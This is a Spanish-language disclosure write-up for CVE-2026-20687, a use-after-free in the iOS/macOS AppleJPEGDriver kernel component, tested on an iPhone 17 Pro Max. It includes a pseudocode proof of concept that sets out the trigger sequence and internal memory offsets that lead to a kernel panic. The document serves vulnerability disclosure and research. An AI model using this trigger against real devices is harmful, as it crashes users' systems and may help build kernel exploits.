
CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — vulnerabilidad del kernel de iOS/macOS que provoca un pánico diferido (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 | Autor: Johnny Franks (@zeroxjf)
Componente: Kernel
Impacto: Una app podría provocar la terminación inesperada del sistema o escribir en la memoria del kernel
Descripción: Se solucionó un problema de use after free con una mejor gestión de la memoria.
Esto provocará un pánico del kernel en tu dispositivo. Guarda tu trabajo.
Probado en iOS 26.3 (23D125) en iPhone18,2 (iPhone 17 Pro Max, A19 Pro).
Disparo directo:
// PoC: prepara el driver; el pánico suele diferirse hasta que se abre Camera.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// Más tarde, abrir Camera dispara:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: NO saca de la cola (req + 0x78)
// Aún más tarde (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // obsoleto: node_ptr == (req + 0x78 liberado)
req2 = *(node_ptr + 0x8); // lectura UAF de req+0x80 -> fallo de etiqueta MTE -> pánico
ios-app/Test.xcodeproj en Xcode